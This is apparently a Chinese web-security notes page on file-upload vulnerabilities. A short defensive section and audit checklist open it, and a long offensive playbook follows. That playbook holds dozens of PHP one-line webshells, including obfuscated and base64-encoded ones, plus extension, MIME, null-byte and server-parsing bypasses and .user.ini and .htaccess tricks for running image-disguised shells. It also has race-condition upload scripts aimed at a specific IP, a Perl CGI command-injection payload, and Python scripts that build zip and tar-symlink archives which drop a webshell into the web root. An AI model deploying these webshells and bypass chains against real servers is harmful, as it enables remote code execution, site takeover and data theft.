文件上传
文件上传
按处理流程分析文件上传漏洞
文件上传功能的风险不只在于“能否上传 WebShell”,还应沿着文件的完整生命周期进行分析:写入存储、数据库交互、文件展示,以及后续处理。
1. 写入硬盘或对象存储时
- 后缀可控 + 上传目录可执行:如果用户可以控制文件后缀,且上传目录位于站点目录并允许执行动态脚本,可能导致任意代码执行。
- OSS / 公共对象存储:如果上传结果可通过对应子域名直接访问,上传 HTML 等主动内容可能造成存储型 XSS。
- 安全实现:服务端生成随机文件名,使用固定且不可执行的后缀;上传目录放在 Web 根目录之外或关闭脚本执行;对象存储使用私有读、下载响应头和独立域名,避免与主站同源。
2. 存取数据库时
上传文件名、路径和描述信息经常会写入数据库或被查询。如果这些字段直接拼接 SQL,特殊字符可能造成 SQL 注入,进而影响文件记录和业务数据。
- 使用预编译语句或 ORM 参数绑定,禁止拼接用户输入;
- 文件名、路径和描述字段分别进行长度限制与字符集校验;
- 授权测试时重点检查文件名入库、列表查询、重命名和删除等流程,并观察是否出现异常回显或数据库错误。
3. 文件或文件名展示时
只要文件名或文件内容会被浏览器展示,就需要考虑 XSS:
- 文件名未进行上下文相关的 HTML 属性、HTML 文本或 URL 编码,可能形成反射型或存储型 XSS;
- 若允许上传 HTML 文件,攻击者可以控制其全部内容,访问该文件时可能执行脚本;
- 若允许上传 SVG 文件并以内联方式访问,SVG 支持脚本和事件处理器,直接访问上传后的 SVG 可能触发存储型 XSS;
- 在线预览 PDF 等文档时,还应关注文档查看器及其脚本执行能力,恶意 PDF 可能利用查看器漏洞触发 XSS。
建议对文件名进行输出编码和严格过滤,对 SVG 做安全清洗或默认使用 Content-Disposition: attachment 下载而非内联展示;上传内容使用独立域名或沙箱隔离,并及时更新 PDF 查看器。
4. 其他文件处理环节
上传后的文件如果还会被解压、转码或生成缩略图,应继续检查对应组件和处理链:
- 压缩包:关注路径穿越、符号链接、压缩炸弹和解压组件漏洞;
- 图片处理:关注 ImageMagick 等解析器的历史漏洞及危险协议;
- 音视频处理:关注 FFmpeg 等转码组件的历史漏洞、资源消耗和命令调用风险。
处理文件时应使用隔离的低权限进程,限制文件大小、解压后总大小、层级、处理时间和资源消耗;只允许必要的格式,组件保持最新,并避免将用户可控内容拼接进系统命令。
文件上传功能审计清单
- 文件名、后缀、MIME 类型和实际内容是否均由服务端校验;
- 最终保存路径是否不可预测,上传目录是否禁止脚本执行;
- 文件元数据写入数据库时是否使用参数化查询;
- 文件名、下载链接和预览内容是否做了正确的输出编码;
- 解压、图片、音视频处理是否隔离并设置资源限制;
- 对象存储、预览域名和下载响应头是否与主站做好隔离。
一句话木马文件上传步骤
构造一句话木马
常规和绕过木马
<?php
@eval($_POST['123']);
echo('123');
?>
<script language='php'>@eval($_POST['123'])</script>
<script language="php">eval($_POST[1]);</script>
<?php @eval($_POST['1']);?>//接收post请求从参数1中拿到值,进行执行命令。@符号抑制错误
<?php eval($_POST['cmd']);?>
<?php @eval($_POST['123'])?>
<?= eval($_POST[1]);?>
<?=eval($_REQUEST['cmd']);?> //推荐使用这个
<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST["shell"]);?>');?>
<?php @assert($_POST['cmd']); ?>
<?php
$a=substr_replace("assexx","rt",4);
@$a($_POST['cmd']);
?>
<?php
@call_user_func(assert,$_POST['cmd']);
?>
<?php
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['cmd']);
?>
<?php
function fun1($a){
assert($a);
}
fun1($_POST['cmd']);
?>
<?php
function shyshy($a){
assert($a);
}
@shyshy($_POST['cmd']);
?>
<?php
$a=$_REQUEST['cmd'];
$b="\n";
eval($b.=$a);
?>
<?php
class shyshy{
public $a='';
function __destruct(){
assert("this->$a");
}
}
$b=new shyshy();
$b->a=$_POST['cmd'];
?>
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
# 密码是-7
创建一个txt文档写进去,上传后根据实际情况修改后缀名。
文件上传一句话木马
把jpg(一句话木马)上传,用bp抓包,再把jpg后缀改为php。有时有waf需修改php为其它。
假如需要找的文件名名security,可以尝试访问../security路径看回显是不是密码(123)。
Content-Type修改(一般修改为图片格式)

抓包修改Content-Type,改为 image/jpeg:可以解析php结尾
后缀绕过

可当做php解析的后缀.PHP .phtml .phps .pht .php3 .php4 .php5 .php7 .phs .shtml .pwml php/. php.1~ php. inc
后缀后面加空格:“php ”
.php. .
双写,大写绕过
在文件末尾加 "::$data" “::$DATA”
00截断:.php%00.jpg
| ::$DATA绕过 |
|---|
| php+windows的情况下:如果文件名+“::\(DATA” 把::\)DATA之后的数据当成文件流处理,不会检测后缀名 保持"::$DATA"之前的文件名 |
Aparch2.x漏洞
1.php/.
1.php.1~
会被当做1.php解析
1.3蚁剑连接
3.使用蚁剑连接

注意是http
确定上传路径
录制网络活动
上传文件时,打开录制。
FUZZ
- 确定上传文件的路径
http://xxx.xxx.upload/images/shell.php
- FUZZ上传点
当遇见http://xxx.xxx.uploads类似,我们可以尝试FUZZ
http://xxx.xxx.uploads?do=1
不断变换do和1。猜测是否有上传参数。
param
在目录中以.pl结尾是per编写的网页文件。
后端实现上传代码
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; }
}
param函数读取上传的文件file相关内容和参数。
while ( <$file> ) { print "$_"; },<$file>是文件输入操作,会逐渐读取文件句柄$file中的内容,将变量存储在默认变量$_中。
漏洞利用
抓包后,将文件上传的文件类型及文件内容复制粘贴一行,将filename去掉,然后内容填入ARGV在路径中填入需要读取的文件。
这里读取时是根目录,我们可以先考虑先读取当前目录猜测是/var/www/cgi-bin/file.pl。 使用param()函数时,我们还可以构造payload实现远程命令执行
/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|
通过管道方式,将输出结果用管道输入到读入流。
webshell工具
蚁剑

disable_function插件
disable_functions 是PHP.ini 配置文件中的一个安全设置选项,用于禁止在PHP 环境中执行某些特定的函数
可以使用此插件进行绕过
进阶方法
扩展名绕过
大小写混淆
- 原理:Windows 系统文件名大小写不敏感(
PhP、pHp、PHP5均等同于php),部分 Linux 服务器 / WAF 仅过滤小写后缀,可通过大小写混合绕过。
PhP、pHp、PHP5、PHP7
特殊后缀
- 原理:多数 Web 服务器(Apache、Nginx、IIS)默认支持「脚本后缀变种」,这些后缀未被 WAF 拦截,但会被解析为脚本执行。
| 服务器类型 | 支持的 PHP 变种后缀 | 支持的 ASP/JSP 变种后缀 |
|---|---|---|
| Apache | php5、php7、phtml、pht、phar | asp、aspx、jsp、jspx、jhtml |
| Nginx | php5、php7、phtm | asp、aspx、jsp |
| IIS | php、php5(需配置) | asp、aspx、asa、cer、cdx |
后缀截断绕过
-
原理:利用「空字符截断」或「特殊字符截断」,让服务器忽略后缀名后的无效字符,保留脚本后缀。
-
两种常见截断方式:
%00空字符截断(适用于 PHP≤5.3.4、ASP 等,需服务器未禁用magic_quotes_gpc):- 恶意文件名:
shell.php%00.jpg; - 原理:服务器解析时,
%00视为字符串结束符,实际保存为shell.php,后缀.jpg被忽略。
- 恶意文件名:
- 操作系统特殊字符截断(Windows):
- 恶意文件名:
shell.php.「末尾加英文点」或shell.php「末尾加空格」; - 原理:Windows 系统会自动剔除文件名末尾的「点」和「空格」,最终保存为
shell.php。
- 恶意文件名:
双写后缀绕过
- 原理:部分 WAF 仅「单次过滤」脚本后缀(如将
php替换为空),可通过双写后缀让过滤后仍保留脚本后缀。 - 恶意文件名:
spphphp、phphpp、shell.php5php;
配置文件包含解析 JPG 木马
.user.ini
auto_prepend_file配置
含义:
当在 .user.ini文件中设置 auto_prepend_file ,并指定一个文件,那么服务器执行其他 PHP 文件(例如index.php )时,会自动在这 index.php 文件的最开头 “插入”你指定的那个文件内容。从代码角度,是在 index.php 文件的第一行自动添加一句 require('./1.jpg');。
示例:
你想让多个 PHP文件在执行前都统一先做一些初始化操作,像加载通用配置文件、初始化一些全局变量、开启某个安全检查模块,就可把这些初始化代码放在一个单独的 PHP 文件里,然后通过 auto_prepend_file配置让服务器自动把这个文件包含到每个要执行的PHP文件开头。
-
auto_append_file配置auto_append_file:在要执行的PHP文件的所有代码都执行完后,才被包含执行。
利用过程
- 利用条件
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以我们要想利用文件上传并且执行,首先上传.user.ini文件,然后上传一个图片(木马)。
- 上传
.user.ini文件:
auto_prepend_file= "上传的图片文件名.jpg"
这里的配置是让服务器在执行同路径下的 PHP 文件(如 index.php )时,把这个图片文件当作 PHP 文件包含进来执行。
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpg
GIF89a
auto_prepend_file=shell.jpg
- 上传shell
Content-Disposition: form-data; name="fileUpload"; filename="shell.jpg"
Content-Type: image/jpg
GIF89a
<?=eval($_REQUEST['cmd']);?>
确定上传路径
.htaccess 文件绕过
创建.htaccess文件,代码如下:
方法一:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php
方法一
-
先上传
.htaccess
创建一个名为.htaccess的文件,里面写入下面的内容AddType application/x-httpd-php .jpg php_value auto_append_fi\ le "php://filter/convert.base64-decode/resource=image_key_is_c.jpg"注意第三行,根据你的图片名字进行修改,会把对应文件解析为php文件。

-
再上传图片马
将<?php eval($_POST[c]); ?>base64编码为PD9waHAgZXZhbCgkX1BPU1RbY10pOyA/Pg==,写入一个txt文档中,名字重命名为image_key_is_c.jpg,图片路径D:\RedTeamTool\文件上传木马\图片马。


-
访问并连接


打开蚁剑
条件竞争
当我们上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。
思路一
使用burpsuite发动两个爆破,
一个上传一句话木马文件<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
一个进行访问。一旦访问成功,就可以执行上面语句,写入一个shell.php文件作为木马。
思路二
import requests
while True:
burp0_url = "http://139.155.126.78:30675/admin/index.php" # 更新 URL
burp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"} # 更新 PHP 会话 ID
burp0_data = (
"------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
"Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
"<?php echo file_get_contents('/flag');?>\r\n" # 改为新代码
"------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
)
# 发送 POST 请求,只保留 Cookie
r = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
# 提取文件名并保存到本地文件
try:
filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
with open('name.txt', 'w') as file:
file.write(filename.strip()) # 使用 strip() 去除可能的换行符
except IndexError:
print("无法提取文件路径或文件上传失败")
import requests
url0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
while True:
# 直接读取文件内容,去除换行符并逐行处理
with open('name.txt', 'r') as file:
for filename in file:
shellpath = url0 + filename.strip() # 使用 strip() 去除换行符
# 发起 GET 请求
r1 = requests.get(shellpath)
# 如果状态码不是 404,输出状态码和响应文本
if r1.status_code != 404:
print(r1.status_code)
print(r1.text)
第一个脚本进行上传,多运行几个。
第二个脚本进行访问。
文件内容绕过
- 原理:服务器通过检测文件头(如图片文件头
GIF89a)或脚本关键词(如eval、system)拦截恶意文件,通过「伪装文件头、编码混淆、内容隐藏」绕过。
脚本伪装为合法文件(文件头欺骗)
-
原理:在恶意脚本开头添加「合法文件的文件头」,让服务器误认为是图片、文档等合法文件,同时保证脚本可被解析执行。
-
常见文件头与实战示例:
| 伪装文件类型 | 文件头标识 | 恶意脚本示例(PHP) |
|---|---|---|
| GIF 图片 | GIF89a |
GIF89a<?php eval($_POST['cmd']);?> |
| JPG 图片 | JFIF |
JFIF<?php system($_GET['exec']);?> |
| PNG 图片 | PNG\r\n\x1A\n |
PNG\r\n\x1A\n<?php @assert($_REQUEST['x']);?> |
| TXT 文档 | 无(纯文本) | <?php $a='syst';$b='em';$c=$a.$b;$c('id');?>(字符串拼接) |
- 注意:需确保上传后服务器「不修改文件内容」(部分服务器会压缩图片,导致脚本失效,可选择非图片格式如 TXT、CSV 伪装)。
恶意代码编码 / 混淆绕过
-
原理:对恶意代码进行编码(Base64、URL 编码)或混淆(注释、字符串拼接、变量替换),绕过关键词检测(如
eval、system)。 -
实战示例:
-
Base64 编码(最常用):
<?php eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));?>- 解码后:
eval($_POST['cmd']);,避免eval关键词直接暴露。
- 解码后:
-
字符串拼接 + 注释混淆:
<?php $a = 'e'.'v'.'a'.'l'; // 拆分eval关键词 $b = $_POST['x']; $a($b); // 执行恶意代码 ?> -
特殊字符注释:
<?php eval/*abc123*/($_POST['cmd']);?>- 中间的注释
/*abc123*/可绕过简单的关键词匹配。
- 中间的注释
-
利用文件包含漏洞间接执行
- 原理:若目标存在「文件包含漏洞」(如
?file=xxx),可上传「非脚本后缀文件」(如 TXT、LOG),里面写入恶意代码,再通过文件包含漏洞执行。 - 实战示例:
- 上传
shell.txt,内容为:<?php phpinfo();?>; - 利用文件包含漏洞访问:
http://target.com/index.php?file=./upload/shell.txt; - 若服务器支持
php://filter伪协议,可进一步绕过内容检测:- 上传
shell.txt,内容为 Base64 编码后的恶意代码(如PD9waHAgcGhwaW5mbygpOz4=); - 访问:
http://target.com/index.php?file=php://filter/convert.base64-decode/resource=./upload/shell.txt,服务器解码后执行。
- 上传
- 上传
MIME 类型绕过(针对 “Content-Type 检测”)
核心原理:服务器通过检查 HTTP 请求头中的Content-Type字段(如仅允许image/jpeg、image/png)判断文件类型,可通过「抓包修改Content-Type」欺骗服务器。
实战示例
- 本地创建恶意文件
shell.php,内容为<?php eval($_POST['cmd']);?>; - 用 Burp Suite 抓包(拦截上传请求),找到
Content-Type字段; - 将默认的
application/x-httpd-php(PHP 文件的 MIME 类型)改为合法类型,如:- 图片类型:
image/jpeg「或image/png「image/gif」; - 文档类型:
text/plain「application/octet-stream」;
- 图片类型:
- 放行请求,服务器误认为是合法图片 / 文档,允许上传;
- 若服务器未对文件内容做进一步检测,上传后的
shell.php可直接执行。
文件名 / 路径绕过(针对 “文件名过滤 / 目录限制”)
核心原理:利用「操作系统特性、服务器路径解析漏洞」,修改文件名或上传路径,绕过目录限制或后缀检测。
文件名含特殊字符绕过
- 实战示例:
- 空格 + 点:
shell.php .「文件名末尾加空格 + 点」,Windows 系统自动剔除末尾空格和点,变为shell.php; - 多个点:
shell.php....,服务器可能只保留第一个点后的后缀,解析为php; - 特殊符号:
shell.php:1.jpg(IIS 服务器),IIS 会忽略:后的内容,解析为php文件。
- 空格 + 点:
路径穿越绕过目录限制
- 实战示例:
- 抓包修改文件名,将
shell.php改为../shell.php; - 服务器若未过滤
../,会将文件上传到upload/../(即webroot/目录),该目录通常可解析 PHP 脚本。
- 抓包修改文件名,将
服务器解析漏洞利用
- 原理:不同服务器(Apache、IIS、Nginx)存在特殊的解析规则,可利用规则绕过后缀限制:
- Apache 解析漏洞(从右到左解析):
- 上传
shell.php.rar.jpg,Apache 会从右到左识别后缀,若jpg、rar均不解析,最终识别php并执行;
- 上传
- IIS 目录解析漏洞(;分号截断):
- 上传
shell.asp;1.jpg,IIS 会忽略;后的内容,解析为asp文件;
- 上传
- Nginx 空字节解析漏洞(旧版本):
- 上传
shell.php%00.jpg,Nginx 会将%00视为结束符,解析为php文件。
- 上传
压缩包
示例一:文件名绕过
import zipfile
import io
# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()
# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
# 向 ZIP 文件中写入恶意 PHP 文件
zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')
# 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
zf.writestr('A' * 5000, b'AAAAA')
# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:
f.write(mf.getvalue())
这个关键点在于: 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
当服务器遇到 5000 个A的超长文件名,会因 “文件名长度超过系统限制”(Linux 默认文件名长度限制为 255 字节)而解压失败,导致后续的 “(成功解压的逻辑:后缀校验)” 无法执行。但exp已经成功解压出来。
示例二:软连接
tar可以将符号链接本身记录到归档文件中。符号链接指向另一个文件或目录,在解包时,会根据记录的信息在目标位置重新创建相同指向的符号链接 。
import tarfile
import os
from io import BytesIO
webshell_content = b'<?php @eval($_POST["cmd"]); ?>'
webshell_name = "shell.php"
link_name = "test"
target_dir = "/var/www/html"
print(f"正在创建 link.tar...")
print(f"这个包将在 /tmp 目录下创建一个符号链接 '{link_name}' 指向 '{target_dir}'")
with tarfile.open("link.tar", "w") as tar:# 创建一个tar文件"link.tar"
# 创建一个TarInfo对象,指定名称为"test"(这将是符号链接的名字)
link_info = tarfile.TarInfo(name=link_name)
# 声明这是一个符号链接类型
link_info.type = tarfile.SYMTYPE
# 符号链接指向的目标目录:/var/www/html(网站根目录)
link_info.linkname = target_dir
# 将这个符号链接信息添加到tar包中
tar.addfile(link_info)
print("link.tar 创建成功!")
print("-" * 30)
print(f"正在创建 webshell.tar...")
# 组合路径:符号链接名 + webshell文件名 → "test/shell.php"
path_in_tar = os.path.join(link_name, webshell_name)
print(f"这个包将把 '{webshell_name}' 写入到路径 '{path_in_tar}'")
# 创建第二个tar文件"webshell.tar"
with tarfile.open("webshell.tar", "w") as tar:
# 创建文件信息对象,路径为上面组合的"test/shell.php"
file_info = tarfile.TarInfo(name=path_in_tar)
# 设置文件大小为webshell内容的长度
file_info.size = len(webshell_content)
# 将webshell内容(PHP一句话木马)添加到tar包中
tar.addfile(file_info, BytesIO(webshell_content))
print("webshell.tar 创建成功!")
print("-" * 30)
print("请按顺序上传这两个文件。")
解压时:
- 先解压
link.tar:会在当前目录创建一个名为test的符号链接,指向/var/www/html。- 再解压
webshell.tar:会将shell.php写入test/shell.php路径,但由于test是符号链接,实际会写入到/var/www/html/shell.php。
WebShell 示例
script 样式木马
<script language="php">system("ls");</script>
<script language="php">system("cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd");</script>
上传两个木马,上传后不能连接,需要访问对应路径即可触发命令。
工具介绍
- https://github.com/Gentle-bae/UploadRanger :自动化检测200+上传漏洞

浙公网安备 33010602011771号